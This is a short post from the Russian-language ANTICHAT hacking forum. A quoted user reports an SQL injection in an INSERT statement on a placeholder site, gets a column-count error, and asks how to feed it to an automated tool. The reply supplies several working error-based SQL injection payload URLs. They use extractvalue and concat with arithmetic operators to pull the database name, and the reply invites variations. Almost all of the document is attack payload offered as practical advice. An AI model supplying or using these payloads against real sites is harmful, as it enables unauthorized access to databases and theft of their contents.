ANTICHAT - Показать сообщение отдельно

Цитата:

Сообщение от BenderMR

↑
День добрый, господа.
Есть такая скуль:

Код:

https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27,%20extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-

Где вроде как insert statement, потому что если после ' не добавить еще один параметр через запятую, то выдается такая ошибка:

Код:

Column count doesn't match value count at row 1

Подскажите, реально ли такое засунуть в мап и как это сделать?

Делайте через

Код:

https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27*extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-

https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27-extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-

https://site:com/?p1=v1&p2=v2&p3=v3&p4=v4%27/extractvalue(0x0a,concat/**/(0x0a,(select%20database()))))--+-

и вариации